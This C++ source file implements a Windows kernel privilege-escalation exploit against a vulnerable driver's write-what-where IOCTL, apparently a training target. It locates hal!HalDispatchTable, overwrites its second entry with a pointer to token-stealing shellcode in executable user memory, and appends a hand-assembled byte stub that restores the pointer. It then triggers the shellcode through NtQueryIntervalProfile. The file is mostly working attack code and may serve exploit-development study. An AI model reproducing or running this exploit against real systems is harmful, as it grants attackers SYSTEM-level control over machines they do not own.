ArbitraryOverwrite.cpp

#include "ArbitraryOverwrite.h"

bool 
ExploitArbitraryOverwrite::exploit() {

	/**
	 * The purpose of this exploit is to leverage the following code during processing
	 * of user-controlled input data in the driver:
	 * 		PAGE:00014B2A                 mov     edi, [esi+WriteWhatWhere.what]
	 * 		PAGE:00014B2C                 mov     ebx, [esi+WriteWhatWhere.where]
	 * 		[...]
	 * 		PAGE:00014B69                 mov     eax, [edi]
	 * 		PAGE:00014B6B                 mov     [ebx], eax
	 *
	 * The result of this code can be a Write-What-Where condition, leading to a 
	 * remote code execution. In order to put the Operating System in such state, we can
	 * use for the `Where` part the address of hal!HalDispatchTable+4 as it's the address
	 * of function callback named HaliQuerySystemInformation, that becomes invoked upon execution
	 * of NtQueryIntervalProfile. There we can supply a pointer to the kernel shellcode located in
	 * user-mode memory pages:
	 *
	 *		*(hal!HalDispatchTable+4) = &KernelShellcode;	
	**/
	
	struct arbitrary_overwrite_structure {
		LPVOID* what;
		LPVOID where;
	};
	
	const DWORD halDispatchTable = getHalDispatchTable();
	if (!halDispatchTable) {
		wcerr << L"[!] Could not locate the `hal!HalDispatchTable` symbol!" << endl;
		return false;
	}
	
	// Now we are attempting to prepare a custom payload out of the default one named
	// token_stealing_win7. The adjusted payload will be able to restore that overwritten pointer
	// in order to preserve operating system's stability in a long run.
	const void* shellcodePtr = reinterpret_cast<void*>(prepareCustomPayload(
		halDispatchTable
	));
	
	if(!shellcodePtr) {
		return false;
	}
	
	cout << "[+] `hal!HalDispatchTable+4` is located at: 0x" << hex << setw(8) << setfill('0')
		<< halDispatchTable + 4 << endl;
		
	/**
	 * we will be overwriting (hal!HalDispatchTable+4) that conta'ins function pointer to the
	 *	hal!HaliQuerySystemInformation. That function can be reached by the following chain:
	 *		
	 *		NtQueryIntervalProfile() -> KeQueryIntervalProfile() -> HaliQuerySystemInformation()
	 *
	 * So calling `NtQueryIntervalProfile()` will be sufficient to trigger our overwritten pointer.
	**/
	
	arbitrary_overwrite_structure structure = {
		/* what  */ const_cast<LPVOID*>(&shellcodePtr),
		/* where */ reinterpret_cast<LPVOID>(halDispatchTable + 4)
	};
	
	wcout << L"[+] Arbitrary Overwrite:\n\t- Where: 0x" << hex << setw(8) << setfill(L'0')
			<< structure.where << L" (hal!HaliQuerySystemInformation)\n\t- What: 0x" 
			<< reinterpret_cast<DWORD>(shellcodePtr) << L" (address of shellcode in user space memory)" << endl;
			
	bool ret = driver.SendIOCTL (
		ExploitArbitraryOverwrite::Ioctl_Code,
		&structure,
		sizeof(structure)
	);
	
	invokeOverwrittenPointer();
	
	return ret;
}


DWORD
ExploitArbitraryOverwrite::getHalDispatchTable() {
	
	static const string halDispatchTable = "HalDispatchTable";
	
	auto kernelModule = driver.GetKernelModuleInfos();	
	const DWORD kernelModuleImageBase = get<0>(kernelModule);
	const wstring kernelModuleName = get<2>(kernelModule);	
	
	if(!kernelModuleImageBase) { 
		wcerr << L"[!] Could not load kernel's module informations." << endl;
		return 0;
	}
	
	wcout << L"[.] Loading " << kernelModuleName << endl;
	
	// Loading `ntoskrnl` into process memory space.
	HMODULE kernelBaseInUserSpace = LoadLibraryW(kernelModuleName.c_str());
	
	if(!kernelBaseInUserSpace) {
		DWORD err = GetLastError();
		wcerr << L"[!] Could not load kernel's module. Error: " 
				<< getErrorString(err) << L" (" << err << L")" << endl;
		return 0;
	}
	
	cout << "[.] Determining " << halDispatchTable << " symbol's offset..." << endl;
	
	// Getting an address of `HalDispatchTable` symbol.
	const auto halDispatchTableAddr = GetProcAddress(
		kernelBaseInUserSpace, 
		halDispatchTable.c_str()
	);
		
	if(!halDispatchTableAddr) {
		wcerr << L"[!] Could not determine that symbol's offset";
		return 0;
	}
	
	// Computing a real address of HalDispatchTable by the following formula:
	//		realAddress = addrOfSymbolInLoadedModule - loadedModuleBase + realKernelBase;
	const DWORD halDispatchTableRealAddr = (
		reinterpret_cast<DWORD>(halDispatchTableAddr) -
		reinterpret_cast<DWORD>(kernelBaseInUserSpace) +
		kernelModuleImageBase
	);
	
	return halDispatchTableRealAddr;
}


LPVOID 
ExploitArbitraryOverwrite::prepareCustomPayload(
	DWORD halDispatchTableRealAddr
) {
	
	/**
	 * This function allocates a RWX memory buffer that will hold a dynamically
	 * adjusted kernel payload. Firstly, there will be a token_stealing_win7 payload copied
	 * up to the trailiing four NOPs marking the point where such modification could be applied.
	 * Then, after those NOPs, a function pointer restoration instructions will get copied.
	 * Those instructions will be responsible for the following operation:
	 *		HalDispatchTable[1] = HalDispatchTable[1] + Difference;
	 * Where difference is a hardcoded value being a bytes distance between two functions, namely:
	 *		HalpSetSystemInformation and HaliQuerySystemInformation.
	 * Such constructed payload will then be used during the actual exploitation process.
	**/
	
	auto shellcodePointer = adjustPayloadEpilogue(8);
	
	customPayload.reset(new PUCHAR(reinterpret_cast<PUCHAR>(
		VirtualAlloc (
			(LPVOID)0,
			Shellcode_Size,
			MEM_COMMIT | MEM_RESERVE,
			PAGE_EXECUTE_READWRITE
	))),
	[](PUCHAR *ptr) {
		if (*ptr != nullptr) {
			wcout << L"[.] Freeing memory allocated for the kernel payload." << endl;
			VirtualFree(*ptr, MEM_DECOMMIT, Shellcode_Size);
			delete ptr;
		}
	});
	
	if(!customPayload) {
		wcerr << L"[!] Could not allocate memory for the custom payload!" << endl;
		return 0;
	}
	
	PUCHAR customPayloadPtr = reinterpret_cast<PUCHAR>(*customPayload);	
	const PUCHAR tokenStealingPayloadPtr = reinterpret_cast<const PUCHAR>(*shellcodePointer);
	size_t nopsCave = 0;
	
	// Looking for trailing four consecutive nops within template payload.
	for(size_t pos = 32; pos < tokenStealingPayloadSize; pos++) {
		if (tokenStealingPayloadPtr[pos + 0] == (UCHAR)0x90 && 
			tokenStealingPayloadPtr[pos + 1] == (UCHAR)0x90 && 
			tokenStealingPayloadPtr[pos + 2] == (UCHAR)0x90 && 
			tokenStealingPayloadPtr[pos + 3] == (UCHAR)0x90
		) {
			// Found NOPs cave.
			nopsCave = pos + 4;
			break;
		}
	}
	
	if (!nopsCave) { 
		throw runtime_error("Looking for trailing four consecutive NOPs has failed.");
	}

	// A function pointer restoration instructions to be executed at the end of the payload.
	unsigned char restorePreviousPointer[18] = {
		0xfa,							// cli
		0xb8, 0x44, 0x33, 0x22, 0x11, 	// mov eax, offset hal!HalDispatchTable+8
		0x8b, 0x18, 0x81, 				// mov ebx, [eax]
		0xeb, 0xdd, 0xcc, 0xbb, 0xaa, 	// sub ebx, diff
		0x89, 0x58, 0xfc,				// mov [eax - 4], ebx
		0xfb							// sti
	};
	
	// Adjusting the function restoration stub with dynamically computed pointer and a difference.
	*(reinterpret_cast<DWORD*>(&restorePreviousPointer[ 2])) = halDispatchTableRealAddr + 8;
	*(reinterpret_cast<DWORD*>(&restorePreviousPointer[10])) = HAL_THIRD_TO_SECOND_ENTRY_DIFFERENCE;
	
	// Step 0: Memsetting with NOPes
	memset (
		customPayloadPtr,
		0x90, 
		ExploitArbitraryOverwrite::Shellcode_Size
	);
	
	// Step 1: Copy the first part of the shellcode up until four consecutive NOPs in it.
	memcpy (
		customPayloadPtr, 
		tokenStealingPayloadPtr, 
		nopsCave
	);
	
	// Step 2: Now append function pointer restoration instructions after that NOPs
	memcpy (
		&customPayloadPtr[nopsCave],
		restorePreviousPointer, 
		sizeof(restorePreviousPointer)
	);
	
	// Step 3: Finally add the second part of the original payload.
	memcpy (
		&customPayloadPtr[nopsCave + sizeof(restorePreviousPointer)], 
		reinterpret_cast<void*>(&tokenStealingPayloadPtr[nopsCave]),
		tokenStealingPayloadSize - nopsCave
	);

	wcout << L"[.] Constructed custom payload capable of restoring overwritten pointer." << endl;
	
	return *customPayload;
}


bool 
ExploitArbitraryOverwrite::invokeOverwrittenPointer() {
	
	wcout << L"[.] Invoking overwritten pointer by calling `NtQueryIntervalProfile`" << endl;
	
	typeNtQueryIntervalProfile NtQueryIntervalProfile;
	
	// Retrieve the address of the syscall NtQueryIntervalProfile within ntdll.dll
	NtQueryIntervalProfile  = reinterpret_cast<typeNtQueryIntervalProfile>(GetProcAddress(
		GetModuleHandleW(L"ntdll.dll"), 
		"NtQueryIntervalProfile"
	));
	
	// Call the function in order to launch our shellcode
	ULONG dummy = 0;
	NTSTATUS stat = NtQueryIntervalProfile(2, &dummy);
	
	if (NT_SUCCESS(stat)) {
		return true;
	} else {
		wcerr << L"[!] NtQueryIntervalProfile failed with code: 0x" 
			<< hex << setw(8) << setfill(L'0') << stat << endl;
		return false;
	}
}